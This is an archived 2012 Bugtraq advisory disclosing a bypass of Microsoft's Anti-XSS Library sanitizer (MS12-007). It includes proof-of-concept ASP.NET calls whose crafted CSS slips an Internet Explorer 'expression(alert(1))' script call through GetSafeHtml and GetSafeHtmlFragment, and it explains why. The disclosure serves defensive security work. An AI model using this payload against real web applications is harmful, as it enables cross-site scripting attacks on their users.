bugtraq - Microsoft Anti-XSS Library Bypass (MS12-007)

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-Id: <201201190933.q0J9Xc5X016036@sf01web2.securityfocus.com>
Date: Thu, 19 Jan 2012 09:33:38 GMT
From: adic@...ibm.com
To: bugtraq@...urityfocus.com
Subject: Microsoft Anti-XSS Library Bypass (MS12-007)

Introduction
-------------
Microsoft Anti-XSS Library is used to protect applications from Cross-Site Scripting attacks, by providing methods for input sanitization.

Vulnerability
-------------
Microsoft Anti-XSS Library 3.0 and 4.0 are vulnerable to an attack in which an attacker is able to create a specially formed CSS, that after passing through the GetSafeHTML or GetSafeHtmlFragment methods, contains an expression that triggers a JavaScript call in Internet Explorer.

The following ASP.NET code demonstrates the vulnerability:

1.	string data = Microsoft.Security.Application.Sanitizer.GetSafeHtml("<html>a<style><!--div{font-family:Foo,Bar\\,'a\\a';font-family:';color:expression(alert(1));y'}--></style><div>b</div></html>");

2.	string data = Microsoft.Security.Application.Sanitizer.GetSafeHtmlFragment("<div style=\"font-family:Foo,Bar\\,'a\\a';font-family:';color:expression(alert(1));y'\">aaa</div>");	

Explanation
-----------
The string value can be broken down as follows:

div{
font-family:Foo,Bar\,'a\a';
font-family:';color:expression(alert(1));y'
}

A bug in the Anti-XSS library causes the closing apostrophe in the first CSS rule to be dropped. Because of the string not being properly terminated, Internet Explorer now renders this CSS in a different way, which triggers a javascript call:
 
div{
font-family:Foo,Bar\,'a\a;font-family:';
color:expression(alert(1));
y'
}

Impact
------
Every application that relies on either GetSafeHTML or GetSafeHtmlFragment to sanitize user supplied data is vulnerable to XSS.

References
----------
http://www.securityfocus.com/bid/51291
http://technet.microsoft.com/en-us/security/bulletin/ms12-007
http://blog.watchfire.com/wfblog/2012/01/microsoft-anti-xss-library-bypass.html
 

Adi Cohen <adic@...ibm.com>
IBM Security Systems - Security Research Group